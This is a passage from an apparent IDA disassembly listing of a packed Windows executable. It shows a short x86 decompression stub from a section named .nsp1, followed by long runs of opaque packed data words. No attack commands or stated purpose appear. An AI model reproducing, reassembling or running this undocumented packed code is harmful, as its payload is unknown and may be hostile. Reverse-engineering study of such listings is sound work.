ja short loc_481589
loc_481587: ; CODE XREF: sub_481514+65j
inc ecx
loc_481588: ; CODE XREF: sub_481514+31j
; sub_481514+6Cj
inc ecx
loc_481589: ; CODE XREF: sub_481514+45j
; sub_481514+51j ...
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp short loc_481521
sub_481514 endp
; =============== S U B R O U T I N E =======================================
sub_481593 proc near ; CODE XREF: sub_481514:loc_481521p
; sub_481514+16p ...
add dl, dl
jnz short locret_48159C
mov dl, [esi]
inc esi
adc dl, dl
locret_48159C: ; CODE XREF: sub_481593+2j
retn
sub_481593 endp
; =============== S U B R O U T I N E =======================================
sub_48159D proc near ; CODE XREF: sub_481514+40p
; sub_481514+5Bp
xor ecx, ecx
sub_48159D endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_48159F proc near ; CODE XREF: sub_481514:loc_48154Ap
inc ecx
loc_4815A0: ; CODE XREF: sub_48159F+Dj
call sub_481593
adc ecx, ecx
call sub_481593
jb short loc_4815A0
retn
sub_48159F endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_481514
loc_4815AF: ; CODE XREF: sub_481514+4Aj
pop ebp
retn 8
; END OF FUNCTION CHUNK FOR sub_481514
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR start
loc_4815B3: ; CODE XREF: start+51j start+1FDj ...
push 0
call dword ptr [ebp-143h]
retn
; END OF FUNCTION CHUNK FOR start
; ---------------------------------------------------------------------------
inc dword ptr [eax]
mov edx, [ecx]
cmp edx, [ecx+4]
jnz short loc_4815CF
mov dword ptr [ecx+eax*2], 2300110h
or al, 0FFh
retn
; ---------------------------------------------------------------------------
loc_4815CF: ; CODE XREF: .nsp1:004815C3j
pop es
mov al, [edx]
inc edx
mov [ecx], edx
pusha
mov eax, [esp+4]
sbb al, 83h
popa
adc [ebx], dh
or [ebx+eax*4], cl
push esi
push ds
and [ebx], al
rol byte ptr [ecx+49h], 1
or bh, bh
push 5
jmp short loc_4815FE
; ---------------------------------------------------------------------------
db 58h
dd 39C9E85Eh, 0CE48B02h, 0C0B6000Fh
db 0C1h, 0E2h
; ---------------------------------------------------------------------------
loc_4815FE: ; CODE XREF: .nsp1:004815EDj
or [ebx], cl
retn 3E4Eh
; ---------------------------------------------------------------------------
db 89h
dd 0EA750F41h, 40E5Eh, 718B5653h, 0DB330708h, 8057D285h
dd 2C7E0C79h, 0EA1C5576h, 0E380EED1h, 572FE3Bh, 1D83E82Bh
dd 778101CBh, 107360C5h, 81AE6C1h, 848985E8h, 0F800E741h
dd 5DD8754Dh, 5F628967h, 1C5E7A4Ch, 0B35BC38Bh, 4F97F28Ch
dd 0B70F5761h, 0C1C2DC39h, 1E0BE83Ch, 7E00C7AFh, 73F83B0Ch
dd 46893140h, 0F566C0BCh, 0D0348E01h, 98F01EBFh, 0C1FA2Bh
dd 0F80305FFh, 81398966h, 5CA87E7Fh, 0CE148B19h, 889F2AE8h
dd 1DE1644Eh, 0F166BA38h, 0EE072DFh, 0D02B42EBh, 566DF84Fh
dd 0A06FD789h, 0AD20C8Fh, 50C1E6D0h, 0DFC29EEAh, 0E742A386h
dd 40021FFEh, 81C35E5Fh, 5351ECD6h, 0DA3E16BBh, 0E8DB8594h
dd 1A7EF901h, 40FC5D89h, 8D0855B2h, 0CE63470h, 3FE83E18h
dd 0E6C603FDh, 75FC0C4Dh, 42C25EEBh, 0D3CB8B02h, 45B5FE2h
dd 191F95C9h, 0DD89763Ah, 57309CF8h, 3942FFC3h, 0D98BC97Dh
dd 7EFCA8FBh, 78566520h, 0C420312h, 2385E81Eh, 14D0CFBDh
dd 0E003D306h, 47FC4509h, 7C48123Bh, 14151BE2h, 61C98824h
dd 0E899F26Dh, 4940ECDAh, 0E8D3E46Eh, 0BABCF54h, 493DC638h
dd 0EA7C14BEh, 0A05B2B9Fh, 9C195035h, 5294FCD2h, 751BC443h
dd 0D0D1B808h, 0EEC1D865h, 468D070Eh, 26E0CF01h, 1B76C303h
dd 7396E847h, 0D80BDBD0h, 75F03B02h, 0A1FB811Ch, 1AEBD340h
dd 1BB657B2h, 0A276E822h, 99D88B59h, 0B88AE61Ch, 6585C38Ah
dd 0FA820E56h, 7CE8F147h, 0C0138541h, 2A461675h, 3AC570Ch
dd 8D036A04h, 5AB0304Ch, 31C7DCE8h, 4EC03BEBh, 0F8D78B02h
dd 5724A832h, 4B1B6575h, 8C242210h, 4E919F0Dh, 0C08301B5h
dd 6A11EB08h, 48EF840h, 0A213A102h, 0D2D2100Ch, 4ABE2C67h
dd 813F938h, 41F1544Eh, 0C8030C4Dh, 70473324h, 52A4F1B8h
dd 0C9283D1Ah, 4DCCEBDCh, 0E806C8F4h, 10E6E528h, 661AD6D2h
dd 0F84D414Bh, 20EC0690h, 0D3E403F0h, 73605E7h, 0DB325A05h
dd 0CE1C4F4Ah, 604D390Ch, 2E106055h, 6A0873DCh, 0E958020Dh
dd 9842E1A0h, 0C8754076h, 0A8B7F9D1h, 0FE202FDCh, 0C913ABF3h
dd 0FF0A6661h, 3201875h, 4D8D0214h, 0FCFAE8C8h, 207D8EA3h
dd 70860F80h, 128A5DD4h, 86192310h, 89C1D820h, 851860DEh
dd 0EA13A366h, 61AA42F4h, 9B460420h, 624E73C2h, 0FD446455h
dd 76621246h, 4223DC82h, 0B1A58047h, 0E74D2A08h, 90C38020h
dd 0C59CA3A5h, 0C203A100h, 9040048Dh, 83091D05h, 8806E4FFh
dd 7D0F0E6Ch, 0F4658706h, 3D10EB03h, 5BA0A24h, 0B903EF9Eh
dd 0D060A65h, 30CEF4A5h, 20497408h, 0B02B39F6h, 8A1C9AF8h
dd 88103C04h, 0A09A18AAh, 83FE1D65h, 8816C77h, 0E76C0E47h
dd 54D8678Ah, 836A941Ch, 0AE0843F2h, 3401807Eh, 0E894C233h
dd 0C1A36242h, 1B50C33Bh, 0B2E1C7AFh, 23983A2Dh, 2F519EE8h
dd 752F8EA6h, 0F47A445h, 8A039592h, 4605C1D1h, 184E86E8h
dd 0EE392C75h, 8B84350Fh, 0F0B51455h, 707FF1Fh, 912BC09Dh
dd 0C1448DF8h, 0F4F94309h, 338AD339h, 31FF3301h, 0E912884Ah
dd 58A4CE4Ah, 184622B0h, 48C30575h, 2B27EBECh, 0A8AC82Bh
dd 0E1182EE8h, 0BA09EBF0h, 0E410E476h, 1D38B587h, 0B419B6ECh
dd 0E613A8EDh, 8481DDA2h, 480A688Eh, 0D5AA9B32h, 0EA6299C2h
dd 0DC487E91h, 0D9E7FDE0h, 0ADE9110Bh, 6C8944C2h, 0E41C5BF0h
dd 6D0CD1DBh, 5912849Dh, 6488882Ch, 11322906h, 50E81B0Ah
dd 4F8D997h, 4C7CB424h, 58247D03h, 0F25194D8h, 624073Dh
dd 53609381h, 9E74144Bh, 647C2154h, 0C7D1E249h, 0FB2391D6h
dd 30CFF94Ah, 3E98CABAh, 5D0E2ACCh, 5115247Dh, 0F02B1DE4h
dd 55E4E5Eh, 0D73AE880h, 0EB70015Dh, 0E7C28321h, 0A4FB0FE1h
dd 493E18h, 50C8451Ch, 0F691F16Ah, 0EB5A0A44h, 90B4CEDBh
dd 6284B685h, 48838ED3h, 3424C906h, 3C80A630h, 3F3A779Eh
dd 0C1A41C39h, 42429CD3h, 188AC703h, 41394040h, 854A4009h
dd 7EC2A1D2h, 20D43B05h, 0F1EC4972h, 0FE0E778h, 0B5905582h
dd 0CC95D245h, 851C6E83h, 41EB75D2h, 0F0D1C378h, 102E1263h
dd 0F8A8772h, 82E14480h, 0D1610DBBh, 720124F4h, 0E9440762h
dd 0E3194A96h, 2D2E2C55h, 805F2E2Eh, 0E4321472h, 0B37DC18Ah
dd 0C1F3F62Eh, 807C8FAAh, 7548D30Ch, 0BA093CFAh, 0F71CA612h
dd 0F781FC1Ch, 1EC9F516h, 60682F1h, 5061C6BBh, 0E068CFE3h
dd 268D9210h, 41A71B9Ch, 71FF5253h, 2077CD9Dh, 7A90C8BDh
dd 94D38BA1h, 6FB40514h, 88527220h, 0FC12B857h, 2420651Dh
dd 8CE4F633h, 806E4601h, 69C36A81h, 202402Eh, 0C385C68Bh
dd 0F8C41E5Fh, 80B90153h, 0
dd 5D00h, 0EF560020h, 2, 34000008h, 0FD114600h, 491AFEC8h
dd 312983D3h, 0F18D48B5h, 0CD7BC992h, 5FAF5B3h, 0A1089ED2h
dd 0B2D9CBEBh, 0A81271AEh, 46834FD3h, 8CB186C1h, 0EAEC0101h
dd 34796545h, 0C6B2C59h, 2B9ABACEh, 4FFB2C2Dh, 0B90D466Bh
dd 0EFB83F48h, 7EFEF85Ch, 0DDC942EEh, 85007A4h, 4A7A3DC9h
dd 0A763D86Dh, 1EB07A16h, 0A9A204ECh, 8A6CA8D7h, 561CB3h
dd 0D94B4DE9h, 5E70E76Bh, 0C26D9516h, 3A602567h, 6DE30C9h
dd 0B0A01EF0h, 0F464A54h, 6B278B6Eh, 0B63E8333h, 93DC20CCh
dd 465650EDh, 0C9ABB3F8h, 0C8CB4C3Dh, 69467470h, 5E6006D7h
dd 8F4287A6h, 45A3D2C8h, 0B795B877h, 4CA5AEA4h, 0AE612451h
dd 0A3A472DDh, 0E6574F0Bh, 31A69875h, 0B121F4E3h, 22E733B3h
dd 7ECF2B01h, 0E96FF67Bh, 0A1A6AA53h, 0CEDDE363h, 0AB886AE3h
dd 0BC0C6A95h, 0E6DFF825h, 0DEA1F240h, 1AF473A1h, 37C33067h
dd 0DEE4549Fh, 0CAF92AECh, 1A2C44C3h, 0B9D5E4F8h, 54A07E3Dh
dd 0A2FCA6CDh, 16AB6610h, 3DD8499Dh, 0E2873A55h, 0E2F4E85h
dd 0C16BFDAFh, 0A1E86A7Ah, 3AA2EC07h, 8C4B8AD2h, 199A8E40h
dd 383F8F8Ah, 7F021703h, 6B67886h, 5E891C89h, 7056E8D6h
dd 59001F61h, 0C8F1E514h, 50B4F4D1h, 89CD5216h, 0EC00A0E1h
dd 73D6F338h, 0EB8FC6B0h, 0D252C673h, 0CA85C609h, 0D9AA0B06h
dd 0B29C3C5Fh, 628AB082h, 0F78F3DEBh, 0B2C5FC1Dh, 6F863617h
dd 2C6EBBAAh, 1316114Ah, 61BA134Fh, 0F3488D21h, 0A1ECA0A5h
dd 0EAA9A2A6h, 65344756h, 66AA6C7Ch, 1186DDCAh, 423D3229h
dd 695E4002h, 0C1E81A16h, 0EA6C1F90h, 0A8C34DA7h, 0D26D62E5h
dd 0C8354069h, 0F5CAF2DCh, 0DB2FC3F1h, 137AF978h, 529C0699h
dd 44FBB561h, 0C1780282h, 9D7B5616h, 0F64502A6h, 9DDEA07Ch
dd 484AD062h, 0EA5E9FEAh, 87E66A47h, 0E507225Bh, 14DB645Eh
dd 48828E83h, 4845B27Eh, 0DA5601D8h, 2ED91B15h, 31951DE7h
dd 63165609h, 54B8DBD8h, 1FE86083h, 8A001AFBh, 9A28F29Ch
dd 0F9B35B1Ch, 374AC8F3h, 0BDAA87D4h, 0BF413B0h, 0B9E6F4CCh
dd 86C43C90h, 6801B0Eh, 0A6406099h, 2BF92DD2h, 7A5E0C9Bh
dd 0D8718854h, 273ADCBBh, 61923167h, 0FC73CF28h, 2C1BF37Fh
dd 0B346807Fh, 7A319237h, 90784CB1h, 1F3F5733h, 0F43F58Dh
dd 0D1B6584Eh, 406CD767h, 0C2CDC53Fh, 0F59042CAh, 79888C5Ch
dd 0D22D9D25h, 0ED2D4E7Ch, 54167C12h, 349B7075h, 99FE674Ch
dd 0BA00585Fh, 0CA1DD6ABh, 282C4C83h, 6908BADCh, 0E513C658h
dd 9F17A68Ah, 6F81CCF2h, 0C97D53DDh, 0CFA56A33h, 863C5DAEh
dd 93A8F33Ah, 75F5E84Eh, 0C97ED29Bh, 58CF8B38h, 793A3EF5h
dd 9AFD0478h, 9C680A01h, 764288C8h, 0B205B607h, 10A5B1AAh
dd 0D6CAD9ADh, 0C5618D08h, 167ACF1Ch, 3AA712BBh, 0C0AD2201h
dd 0E7427458h, 0C49A650Bh, 63A2BECEh, 674B46B8h, 0BCD49325h
dd 34B10A50h, 0DACA587Bh, 5328408Eh, 6827CA1Dh, 244DC14Dh
dd 0A8902DA1h, 56923E87h, 9197BC5Bh, 0C70073E7h, 73E1D6FCh
dd 53D86448h, 0A7A3DB49h, 8D9412B1h, 6939CC7Ch, 0BB62AA32h
dd 0EAAB0389h, 0CA350C56h, 4076DDF6h, 84AB6812h, 59C1D62Ah
dd 0FB0D2D3Eh, 0FB7B1206h, 0A14107A4h, 0BBF5A58h, 35109D0Ch
dd 2E0FF1D4h, 0B9F2F2E8h, 70C73C6Ch, 180BBEE9h, 0EBA6FA8Fh
dd 0BA90C8BDh, 0A9364B34h, 3B207077h, 3ACA7577h, 0A845DF74h
dd 978A787Dh, 0BC946782h, 0B53E971h, 0D10E402Eh, 0BEC10565h
dd 87BF60Eh, 0BFECEAB5h, 0FF0FD5EDh, 3BBCC765h, 2F2D3472h
dd 6AC85033h, 9C0E924h, 87A75052h, 25494583h, 9A309E4Bh
dd 921C59C8h, 5517A35Eh, 94AD19BBh, 0D791046Fh, 9EE5CD39h
dd 5560DF43h, 7048DC7Ah, 0B11B8AE7h, 3C9C1D97h, 0F74670B9h
dd 3E74771Fh, 9F2F4F57h, 0AFFB389Fh, 6D8D60CAh, 1D5876B9h
dd 71B4235Ah, 1F0A762Eh, 0F6CA2709h, 0B9B63015h, 30E5E054h
dd 947B390Ch, 69A23331h, 95E63072h, 899DBBAFh, 0D7041CE8h
dd 0F25E08BCh, 1E08BDFDh, 0FAA6BADEh, 0F1CAB6C6h, 9DFFEEAAh
dd 0B58828E3h, 851CF72Dh, 838834F7h, 0DF94813Ah, 61312292h
dd 5DEEAA42h, 0EDCB41F0h, 895B94FAh, 0C9FAE561h, 0A99E36FCh
dd 4A1BA750h, 6E9A2992h, 0F46287DBh, 0E86A6C40h, 424E296Dh
dd 0C938DACFh, 58E72DD8h, 0DB23203Dh, 20127675h, 3EE7FD56h
dd 0D5D76F88h, 8F3B10BEh, 5A10D26Ch, 6A465854h, 12502300h
dd 9045F88Eh, 935DCA3Dh, 0FCD416F8h, 9DFC8611h, 0E8E70793h
dd 8408F83Dh, 947BE4F0h, 0DF99BD6Ah, 1795A848h, 28B29BE7h
dd 90767929h, 0EC1CCCD2h, 0B0EB6401h, 0E9BEBCB2h, 3FBD6892h
dd 7206AC38h, 0B271BFDEh, 0D7AF5DCFh, 66D1F9Dh, 67D4C486h
dd 615E6BCDh, 1C12818Dh, 0CA8228C2h, 9397FAD8h, 5C0E1228h
dd 77DA3E3Fh, 7DA422B2h, 2DD34C82h, 0D2438DFFh, 0E0B6FA7h
dd 989DD189h, 0F4AC6E8Eh, 0EBCEE9B3h, 3251E167h, 77BAA5Ah
dd 5D368EDDh, 9F096A98h, 87DBF11Bh, 33708C16h, 752BC8E8h
dd 5A94CDB3h, 6666A51Bh, 0E09D4C3Ah, 15A09138h, 40F8BC16h
dd 56239C4Ah, 27F69F31h, 42B3380Dh, 90B99B14h, 0ED01AF24h
dd 9C0A9316h, 6C9892B9h, 27CF54D2h, 9E5EEF70h, 0EA13BA0h
dd 0AC8A2722h, 6FF4536Ah, 3BBE63D7h, 0EADFF5BDh, 7CF5E98Dh
dd 0C63F2470h, 6D3997D1h, 0F7FD1B1Ch, 0B0D3CA89h, 55C92D48h
dd 0D104E299h, 0D2035636h, 289E6A0Fh, 364468F1h, 4A0450F2h
dd 82C54A02h, 0A46324D0h, 1FAB156Fh, 712586F2h, 365BF9E4h
dd 0F2440174h, 0AF79FC16h, 0EB162175h, 0CFB10796h, 0FC122AB1h
dd 75886C96h, 30D2ACCCh, 0DE9D4DF5h, 11372B8h, 0C737370Ah
dd 0BD09A9C1h, 3FFC250Fh, 0ADF3B780h, 0D55EA1B9h, 0F4990064h
dd 81977212h, 9E77BC18h, 39347AB1h, 4D6EA36Ch, 304A02FAh
dd 764B959Dh, 0F32005B7h, 8E2F3F2Eh, 46A39D95h, 0A842D4E7h
dd 5C72A52Ah, 673215B2h, 5EF0FDB4h, 3DB90748h, 0B7CAE155h
dd 5E597DE7h, 0BEC1BBEDh, 95A2D1F2h, 0B0B427BFh, 5500ED02h
dd 0B78F782Eh, 0E6535789h, 0EF25EB1Eh, 0E0392301h, 21EFD9A0h
dd 579C7F5Dh, 0D6E1575Ah, 0F0B005EDh, 452DC0BDh, 0BC706CBBh
dd 0D3D328D3h, 73FF6C25h, 494AB927h, 9852AFD4h, 437E624Eh
dd 402CEF47h, 0E4C1FDACh, 0A91C552Ah, 70865CF1h, 14A13742h
dd 8D863E55h, 8FD400E5h, 0D9253293h, 0A079D7F6h, 761B2767h
dd 0EBE29C64h, 549462ACh, 75C95F41h, 6CDDC32Ah, 5AFE6D54h
dd 9AE0DB9Dh, 81D54AA1h, 15E1D127h, 3F7DF102h, 33ADF248h
dd 7738749h, 31D54Bh, 319F24DBh, 11F4C8DDh, 0AD4C08C8h
dd 5452411Ah, 0A08B625Dh, 0AEAE7524h, 5ACAFBCAh, 421CB8F5h
dd 0A12A7F98h, 781CE6DAh, 0BB341A1Eh, 48408ACCh, 69EFC592h
dd 3C03B14Ah, 9AA4267Eh, 0F2F0EEC8h, 5455A490h, 49FDB720h
dd 1054F219h, 236302C4h, 70B3F120h, 86E0B209h, 7842DF38h
dd 9F03CF15h, 38371567h, 8365E0EAh, 0DF0BD278h, 868C3159h
dd 0EF4437DEh, 1F16811Ah, 3C5D4F9h, 0F435977Eh, 0E7A129D4h
dd 44C8DB4Bh, 7B54B5Ch, 0CD2749E1h, 9B8EDB56h, 98051759h
dd 571B40A1h, 9D54FE5h, 9F0C3B53h, 0D88B4FADh, 479D483Dh
dd 0E8E20604h, 0B247028Eh, 0F70F8FB6h, 6F1F980Bh, 0E36D1006h
dd 1A98DDA9h, 0B4A43DF0h, 694C5B99h, 293677B7h, 0B379E174h
dd 4AADD67Eh, 47DF6EDFh, 4E4D6F49h, 0C200CB34h, 1CCAED8Eh
dd 0B2328C59h
dd 0E953F46Ah, 48F4668h, 0CF78E660h, 54CD9D31h, 457F9671h
dd 0CF8FC46Ah, 1855F2C1h, 7EAD24E9h, 24F02F65h, 79BF7F2Dh
dd 9E4B9892h, 0BC3036B2h, 6D0B8373h, 3F6C95EEh, 109CF098h
dd 4251F9FDh, 3086D8BCh, 25B51DD0h, 1CB04CB7h, 34C20C73h
dd 0F5BF9A34h, 0D97C192Ch, 0F6CFF669h, 0E34054E0h, 93B14118h
dd 0A93BB63Fh, 8AEF3B1Eh, 0A6C8C059h, 283180EAh, 7BCB7BCEh
dd 5EEAECFAh, 6C9CC21Ah, 0AE342574h, 134D51F7h, 700818A7h
dd 0B6AE5978h, 7EB23E09h, 9848B911h, 0F23B7208h, 0EF100E4Ah
dd 3640901Dh, 351D6AF4h, 0CDAC392Eh, 0EAD2EEDEh, 0F8E322F2h
dd 3F3A0921h, 209F7E9Fh, 3A9C815Fh, 6EAB05D2h, 6B3A45A2h
dd 3BD706EFh, 18858136h, 1C65EEFDh, 8C5F240Fh, 5DBDC6E5h
dd 463BAAB6h, 396D8629h, 2069E881h, 952FBF06h, 7E5C081h
dd 179267F8h, 609D28B0h, 0E782C779h, 0DEF48824h, 0A16EE949h
dd 75BFB382h, 0DB549E0Eh, 52100720h, 0A1CFB977h, 8610C4BAh
dd 26CAC476h, 647DAC05h, 0F094592Bh, 0BC04E7E8h, 13FE7504h
dd 593C33E6h, 0F24A5FB0h, 2BE93E6Bh, 0DAB58446h, 2B3204B9h
dd 19BC2611h, 34C1F04Ch, 0EC618187h, 766637C6h, 0D9D03605h
dd 0ECE95C25h, 0D02BCC85h, 8EA273Ah, 0BA140BA9h, 0F287135Eh
dd 0F8CE67A8h, 642D2ED6h, 9553B565h, 0DDC036A4h, 0BFE51E6Ch
dd 0C54FCC6Eh, 499A46F8h, 6F17803Ch, 0C1674C24h, 0E8B4B4F3h
dd 4C999E17h, 529988C3h, 44EBA0F7h, 3D158270h, 8B723E20h
dd 0A5C4C6B6h, 68D20984h, 0D761BE5Ah, 0A45CEB93h, 684D5FF2h
dd 6A3EDC09h, 3FDFB7B8h, 6A1D6D2Ch, 554B77E7h, 62AA08CEh
dd 441DA4F2h, 9103D6ABh, 71D3EBCBh, 0B905B42h, 0F40D43A5h
dd 628E9E35h, 0EDC3F21Ah, 5F230D8Ah, 64BCEEB6h, 3163B7C7h
dd 0AF1B3648h, 696AE299h, 3309D8E3h, 249CB874h, 7987C10Dh
dd 0E8E713D0h, 0A17B3DD2h, 0A514AFEAh, 21A402Ah, 0FBDAEA31h
dd 0C613F85Eh, 28F1063h, 83DFA240h, 0E1AA8D32h, 2F6345ECh
dd 0E80DB78Bh, 0C4E168E2h, 0B4B6A3A2h, 57F7BC01h, 5B8082DBh
dd 59BF7402h, 0CF8C1DBh, 7F5195A8h, 5C17F1E8h, 11518491h
dd 0DE333556h, 3E1B9828h, 70AD113Ah, 3A31C30Dh, 9C18F542h
dd 0B511FEC5h, 33F1F688h, 16473BADh, 4D590F48h, 91910D65h
dd 0D37AC22Bh, 2CC964F1h, 66651630h, 7898E050h, 9AF647F2h
dd 403EE8C5h, 0A244BF2h, 0FF2CEFE4h, 283F5BC7h, 6577AC9Ch
dd 4D0A62CBh, 1B3BCD96h, 8D55D4F5h, 5B7BF0C1h, 17813481h
dd 0A197B99Ch, 27C80Ch, 1B1DD876h, 0D3D496E8h, 0D2835F5Bh
dd 0C5B72F55h, 5F817637h, 3EF43E5Ah, 92F459E6h, 88287CBDh
dd 0A25803A0h, 9686CF33h, 59318A6h, 6DFB44B3h, 88E1C2Ch
dd 97A022A6h, 963A107Bh, 7FD7F198h, 8DB82E38h, 0C81C65A0h
dd 4A197072h, 0D31B6546h, 0A25CF251h, 353D052Bh, 33138E99h
dd 9FF275B6h, 173F533Bh, 11C0806Fh, 0A4007F7Eh, 18CF4829h
dd 0C2292BBFh, 17904A93h, 0B1CE4621h, 0A7DB4C9Bh, 4BCE643Ch
dd 395BA5A0h, 59784E58h, 45788BCCh, 0F5EA9D16h, 0BA888D82h
dd 0F03176FBh, 3B580BDh, 0F15FEB2Eh, 0D01F8363h, 2BF38594h
dd 7BC4CFA5h, 9042B78Ch, 7DE62D49h, 954C708Ah, 9795EF42h
dd 5B9E1A99h, 6EE9765Ch, 8602A8B3h, 0B211398Fh, 8E06EC06h
dd 0DABA5DCDh, 2BE3223Ch, 48E8111h, 0EBED50E0h, 588F7BD3h
dd 0BAFC4F5Eh, 0A6788D9Dh, 24BB2476h, 0FB29A1ADh, 62619887h
dd 8320F46Fh, 0BEC8486h, 1AC1D4E4h, 0B26A5A51h, 462F5617h
dd 850FD2B9h, 0F0F5B2C2h, 10663CAh, 886BA500h, 949BFFC7h
dd 95F2E7A1h, 0BCDB168Ah, 26EC782Dh, 6D6AFF86h, 0F9A29130h
dd 6ABA1649h, 84D1263h, 0C8909A7Bh, 0C30D9DBAh, 9182314Ah
dd 688B9317h, 4FDEEA22h, 3EB1B82Ch, 9D014100h, 0C301D624h
dd 96B83849h, 0D862649Bh, 0F2B5736Eh, 0ED17FB58h, 0AB404A0Ah
dd 89D48DCFh, 0B1A7E1B2h, 18BD21A8h, 7DD3BBB1h, 7144F908h
dd 1EF2C6B8h, 7A13F6ACh, 0A5957704h, 2AE5F38Bh, 0A56D1806h
dd 0DB4A89D1h, 8681534Eh, 8388E2FCh, 248F75EBh, 1EFCEE6Dh
dd 0A54695CCh, 89C65C3h, 0C8030967h, 9B1BB6Fh, 39BA3387h
dd 1D84B4CBh, 478A9094h, 0F93CC2B2h, 4B07853Eh, 55960C37h
dd 0DBDE4D2h, 4C5EF6D2h, 61F8150Eh, 6BD8A4D5h, 30A5DF42h
dd 0E1A4CFEDh, 2C92A2F4h, 4059D88Ah, 693C5E86h, 0CDA7C814h
dd 9C61E387h, 850C5B39h, 0DDBE2C0Ch, 0B3993D57h, 7B2B9A64h
dd 0FB0B4E10h, 1F9A70Fh, 0DF5E284Ch, 156D7187h, 0A03E5E0h
dd 2C6EEBEDh, 0FB7CD11Eh, 6A4F6D3Fh, 0DD00F062h, 4860B8FBh
dd 0B2FFD0C6h, 696A23Ch, 3EC7DCB3h, 0BB22A4D6h, 4CBD41E8h
dd 0DFBA10F1h, 0EA6CB101h, 0AAB11E14h, 0BA792659h, 2E7D8278h
dd 9598A5F3h, 270BBF04h, 0D599D0A6h, 8785B551h, 9A81FDD0h
dd 334F982Fh, 88457D0Bh, 0BD3391A7h, 0BF2706FFh, 0B244F268h
dd 0E48E6B7Eh, 4EBDBE5Ch, 0AA2BAE39h, 309DB196h, 23AB1C26h
dd 97F9F36Bh, 0BC0D8DC0h, 0DC3F3530h, 0A46BD383h, 76A52A3Ch
dd 0EC47BC25h, 0F43E69DDh, 49F52D41h, 0C2B59996h, 46E41925h
dd 7DB8E6BCh, 7D7B8E64h, 8D7F2D3Fh, 761544A8h, 0AE66B78Fh
dd 91A6ADCDh, 78253514h, 0D04CC789h, 0B5A50EADh, 0D58FC075h
dd 2D4C577Ch, 0B666B85Ah, 0EEF5573Ch, 0CBE56394h, 5469E95Eh
dd 7E1BD2B8h, 7CF5C3D2h, 0A59915E3h, 4E93173Fh, 1CDE7ED4h
dd 0AE0D0B14h, 0C4E9C294h, 59D738E6h, 7E7D686Bh, 3E03E638h
dd 0E660C63Ch, 0EED30E0Fh, 490DFFEEh, 0EA03EA0Eh, 56CC9383h
dd 4822E45h, 699E961Fh, 842DA81Ch, 5616320Eh, 4B3804BAh
dd 47925DCBh, 175422B4h, 0F4A9F936h, 7A8E772Ch, 7E5765B2h
dd 6C0DC88Ah, 0BB085572h, 0F4D1A4DCh, 0D95B2A09h, 453739DDh
dd 78F3CDC2h, 0EF14A837h, 61913E61h, 60D2691Fh, 7AD6CF48h
dd 37ABEA20h, 40BC6B03h, 38C9BDEBh, 0DBE2945Dh, 2D7CC120h
dd 0FAA4A200h, 191DF2A1h, 8D8A8B5h, 4419F79Ah, 2B64C77h
dd 0F1DC9A4Fh, 39BDA9BFh, 759D7694h, 8EBA952Fh, 16ED316Fh
dd 46B3175Eh, 41F1AF4Ch, 486787CDh, 133B789Eh, 4DC478C3h
dd 0B94C8351h, 0FA694535h, 4C4D6749h, 0B6FA7CC0h, 80D537A7h
dd 3C7564A3h, 696B17C3h, 23CCF6BFh, 932249Ch, 21A0E2C3h
dd 0E3E82247h, 16EA52F1h, 9C2F8727h, 93E79F24h, 0C60E5282h
dd 0B76D4F2Bh, 0C807E140h, 923B3A24h, 68E59D1h, 0BBF11209h
dd 5EB5A397h, 0CAC8A492h, 80CDDBA1h, 406410DBh, 0D765D899h
dd 4B84DD1Ch, 0D029DC84h, 0D0D41A3h, 0EE11380Eh, 475F4117h
dd 179BF0B8h, 85C082B0h, 13D48749h, 55236567h, 8918A8F2h
dd 4749199h, 52A8F785h, 2AC7ECBBh, 0EA2107F4h, 0BAF1708Eh
dd 8E8FEFF9h, 5B76E552h, 90AA80EFh, 79BD433Fh, 0B0575EFAh
dd 5B735A52h, 0BBC474E2h, 7EDD3C8Ch, 84EF0DF0h, 3D288758h
dd 0C851BF15h, 2E82EE7h, 0CA19238Ah, 0F82F6315h, 79C106A8h
dd 0CEE72F7Dh, 0FA847C1Dh, 0EA84B246h, 0C71F068Fh, 3E9B268Ch
dd 0EC1FF2EBh, 0EB716D85h, 0A32F5FC2h, 218FF155h, 8DEFBFB0h
dd 275B269Eh, 2A50153Ch, 5817FB8Bh, 92B4AC07h, 0C0B7405Bh
dd 0DFA24261h, 0AB63CF26h, 0ACFE68BAh, 0C3243D43h, 610D0E7Bh
dd 0B9C5B797h, 784A4D15h, 3BB9C9Eh, 0DB4CE00Eh, 6517C64Ah
dd 474A0368h, 53861EC4h, 680E802Ch, 0A8C17247h, 91238606h
dd 880DCCCh, 891AF5CFh
dd 0CC545A8Eh, 6E9CF18Bh, 19568048h, 0B747082Ah, 966FC311h
dd 6DA8382Ch, 0C5E3C9CEh, 79B6FA7Dh, 0F3CDEE10h, 8A4BAE13h
dd 0C4FD3398h, 5E516045h, 7F4668A9h, 7972CBB2h, 0C8A6BC6h
dd 0DF8BEEE8h, 978C5B58h, 0D5CC543Ah, 28E82071h, 0B3606Ch
dd 0CAACB9Bh, 3D703A36h, 629D3916h, 7EBF5303h, 0F1FFB8D8h
dd 0C0B2BED8h, 0FB6F2EEFh, 0D57C99FCh, 0A70D8A8h, 6407ECFEh
dd 45E48D4Bh, 59773285h, 3B821869h, 33256ED1h, 0B879B43Eh
dd 9CB46321h, 0B7839950h, 90B6D4C1h, 4D7A36A1h, 0E468601Ah
dd 0AE5DD871h, 4B1BC9ACh, 973CB7DEh, 6D904909h, 42A394BFh
dd 1531A754h, 10B1AF7h, 70F155F7h, 77D79D58h, 0B273EED2h
dd 954454BCh, 0C3B30EFCh, 98D74726h, 182E9F01h, 672A923Ch
dd 0B2804370h, 0A6BAD4EEh, 0A375B356h, 9CC33E59h, 20DD6B92h
dd 6E162AECh, 0A9413EACh, 0E20FDE18h, 5057E963h, 0CF875852h
dd 5DFE9D38h, 307B03A8h, 0C78BBE2Ch, 21C2C8D7h, 0E330E13Fh
dd 0D944B15Dh, 79D26BB5h, 14E394A8h, 0EB2C84BDh, 0F83F3069h
dd 7FD49A2Dh, 7AF472ADh, 3363FDA9h, 616E747Ah, 0A2F859A8h
dd 0CACF3225h, 8D0E03D1h, 0DA390341h, 4466CCABh, 0BC9C9E40h
dd 68A588DCh, 5CEA6909h, 3FE308C2h, 0CB64FC8Dh, 0FCD0C271h
dd 54710E42h, 89EDE11Ch, 0D249DA9Eh, 0C94EC520h, 0ED44A5A6h
